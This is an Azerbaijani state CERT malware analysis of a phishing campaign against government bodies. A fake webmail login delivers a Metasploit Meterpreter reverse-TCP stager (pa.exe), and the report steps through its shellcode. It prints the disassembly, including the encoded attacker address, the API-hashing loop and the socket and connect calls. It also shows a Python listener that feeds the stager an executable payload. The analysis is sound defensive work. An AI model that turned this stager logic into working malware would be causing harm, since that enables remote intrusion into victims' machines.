Dövlət orqanlarını hədəf alan fişing hücümü və "Metasploit Meterpreter" yükünün analizi

Azərbaycan Respublikası Xüsusi Rabitə və İnformasiya Təhlükəsizliyi Dövlət Xidməti - Kompüter İnsidentlərinə qarşı Mübarizə Mərkəzi - Malware Research Lab – S.Abasov - 16 Oktyabr 2022

Yerli dövlət orqanlarına göndərilən təhlükəli məktublar haqqında məlumat aldıqdan sonra şübhəli məktublardan birini araşdırmağa başladıq. Gələn məktub istifadəçini başqa bir ünvana yönləndirirdi. Bu ünvana daxil olduğumuz zaman dövlət orqanları üçün nəzərdə tutulmuş rəsmi e-poçt xidmətinin bənzəri ilə qarşılaşdıq.

Bu hissədə "hədəf" istifadəçi adı və şifrəni daxil etdikdən sonra brauzer pa.exe (PE64) adında fayl endirir. Fayl həcmi: 7.00 KB (7168 bytes)
MD5: 0A10F95D15D0DCCFBAF4181AFD457BF9
SHA-1: B5854588982A02CFA8D30B1E4CABF9442387B8E1

Kodları analiz etmədən öncə icra edilə bilən faylın import tablosuna baxdıq. Burada import edilən 1 ədəd dinamik kitabxana faylı (KERNEL32.DLL) və 2 ədəd sözügedən kitabxanaya aid funksiya (VirtualAlloc, ExitProcess) var idi.

Daha dəqiq məlumat almaq üçün faylın statik analizinə başladıq. Kodlara ilkin baxış zamanı shellcode olduğunu təyin edə bildik. Proqram ilk olaraq CALL təlimatı ilə 1400040D6 adresində olan rutini çağırır.

pop     rbp
mov     r14, 32335F327377h
push    r14
mov     r14, rsp
sub     rsp, 1A0h
mov     r13, rsp
mov     r12, 51E6145E901F0002h
push    r12
mov     r12, rsp
mov     rcx, r14
mov     r10d, 726774Ch
call    rbp

Burada ilk olaraq POP RBP ilə CALL təlimatından sonra icra olunacaq kodların adresini RBP dəyişənində saxlayır. Daha sonra r14 registerinə 32335F327377h dəyəri mənimsədilir və stack bölgəsində saxlanılır. Ardınca eyni şəkildə R12 dəyişəninə 51E6145E901F0002h mənimsədilir və yenidən stack bölgəsinə yazılır və son olaraq isə R10D dəyişəninə 726774Ch dəyəri yazılır və CALL RBP təlimatı ilə RBP registerində olan adrese yönlənir. Növbəti adresdə isə olduqca maraqlı əməliyyatlar yerinə yetirilirdi. İlk olaraq PEB_LDR_DATA üzərindən proqramın yaddaşında olan modulların siyahısı (yaddaş sırasına görə) götürülür.

Növbəti icra olunan əməliyyatlar isə aşağıdaki kimi idi. Yüklənmiş modul məlumatlarını _UNICODE_STRING strukturu üzerindən götürür.

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

Modul adının uzunluğunu RCX registerinə mənimsədərək dövr başladır. Bu dövr ərzində modul adında olan hərfləri AL registerinə mənimsədir. Daha sonra AL registerində olan xarakteri əgər kiçikdirsə sub al, 20h əmri ilə böyük qarşılığı ilə dəyişdirir. Sonda isə ROR R9D, 0xD ilə R9D registerində olan dəyər üzərində yerdəyişmə əməliyyatı edir və EAX dəyişənində saxlanılan xarakteri R9D da saxlanılan dəyəin üzərinə gəlir. Bu əməliyyat modulun hash dəyərini generasiya etmek üçün istifadə edilir.

Bu əməliyyatın ardınca hash dəyəri hesablanan modulun base adresi götürülür. Götürülən modulu təhlil edərək export qovluğuna (IMAGE_EXPORT_DIRECTORY) baxır. Əgər NULL olarsa yuxarıda ki, emeliyyatları yenidən növbəti modul üzərində təkrarlayır. Əgər export qovluğu mövcuddursa bu qovluğun təhlilinə baslayır. Ilk olaraq export edilən funksiyaları gəzir və yuxarida göstərilən oxşar hash əməliyyatını bu funksiya adları üzərində təkrarlayır. Daha sonra modul adından aldığı hash summası ilə funksiya adının hash summasını toplayır və öncədən (sub_1400040D6) rutinindən götürdüyü dəyər ilə qarşılaşdırır.

Əgər hash dəyərlər eyni olarsa bu zaman həmin funksiyanı çağırır. Bu əməliyyat zamanı ilk olaraq çağrılan funkisya KERNEL32.DLL kitabxanası içərisində olan LoadLibraryA funksiyasıdır. Bu funksiyanı ws2_32.dll kitabxanasını yaddaşına yükləmək üçün istifadə edir.

ws2_32.dll kitabxanasını yaddaşa yüklədikdən sonra bu kitabxananın dəstəyi ilə başqa bir adres ilə bağlantı qurmağa cəhd edir.

Ilk olaraq  WSAStartup(6B8029h)WSASocketA(0E0DF0FEAh) funksiyaları çağrılır.

.vdhx:000000014000410D                 push    101h
.vdhx:0000000140004112                 pop     rcx
.vdhx:0000000140004113                 mov     r10d, 6B8029h   ; WSAStartup
.vdhx:0000000140004119                 call    rbp
.vdhx:000000014000411B                 push    0Ah
.vdhx:000000014000411D                 pop     r14
.vdhx:000000014000411F
.vdhx:000000014000411F loc_14000411F:                          ; CODE XREF: sub_1400040D6+108↓j
.vdhx:000000014000411F                 push    rax
.vdhx:0000000140004120                 push    rax
.vdhx:0000000140004121                 xor     r9, r9
.vdhx:0000000140004124                 xor     r8, r8
.vdhx:0000000140004127                 inc     rax
.vdhx:000000014000412A                 mov     rdx, rax
.vdhx:000000014000412D                 inc     rax
.vdhx:0000000140004130                 mov     rcx, rax
.vdhx:0000000140004133                 mov     r10d, 0E0DF0FEAh ; WSASocketA
.vdhx:0000000140004139                 call    rbp

Bu əməliyyatlar uğurla icra olunduqdan  sonra isə uzaq bağlantı üçün connect(6174A599h) funksiyasını çağırır.

Bağlantı adresi fəaliyyətini dayandırmışdı. Buna görə shellcodun nə etdiyini anlamaq üçün ip adresdə dəyişiklik (patch) edərək lokal ünvana (127.0.0.1: 8080) yönləndirdik. Bundan sonra shellcode recv (5FC8D902h) funksiyasını çağırır və socketdən 4 baytlıq məlumat oxumağa çalışır.

Əməliyyatı simulyasiya etmək üçün pythonda kiçik bir kod yazmalı olduq. conn.send əmri ilə shellkoda 4 baytlıq məlumat (‘AAAA’) göndərdik.

>>> import socket
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> s.bind(("127.0.0.1",8080))
>>> s.listen(1)
>>> conn, addr = s.accept()
>>> conn.send(b'AAAA')
4

4 baytlıq məlumatı qəbul etdikdən sonra shellcode VirtualAlloc (0E553A458h) funksiyası ilə yaddaşda yer ayırır. Burada diqqətimizi çəkən məqam shellkodun VirtualAlloc funksiyasını çağırdığı zaman ayıracağı bölgənin həcmini bizim göndərdiyimiz 4 baytlıq məlumatdan alması idi.

Deməli shellcode 0x41414141 həcmində yaddaş bölgəsində boş yer ayırır. Burada bir digər məqam isə VirtualAlloc funksiyasının sonuncu parametri (flProtect) idi. 0x40 dəyərində olan parametr ilə shellcode ayrılan bölgədə kod icrasına icazə verir.

PAGE_EXECUTE_READWRITE 0x40 - Enables execute, read-only, or read/write access to the committed region of pages.
Windows Server 2003 and Windows XP: This attribute is not supported by the CreateFileMapping function until Windows XP with SP2 and Windows Server 2003 with SP1.

Bu isə bizə ayrılan bölgədə kodların icra olunacağı haqqında ipucu verirdi. Daha sonra isə 2. dəfə recv funskiyası çağrılır və bu dəfə qarşı tərəfdən 0x41414141 həcmində məlumat gözləyir.

Göndəridyimiz məlumatın həcmi çox olacağı üçün shellcode daha çox recv funksiyası çağıracaq. Bunun qarşısını almaq üçün bu dəfə 0x4 bayt həcmində məlumat göndərib shellcode son olaraq nə etdiyininə baxmaq istədik. Shellcode 4 baytlıq məlumatı oxuduqdan sonra məlumatı ayrılan yaddaş bölgəsinə yazır və icra edirdi.

>>> l = struct.pack("<I", 4)
>>> conn.send(l)
4
>>> conn.send(b'\x90\x90\xcc\xcc')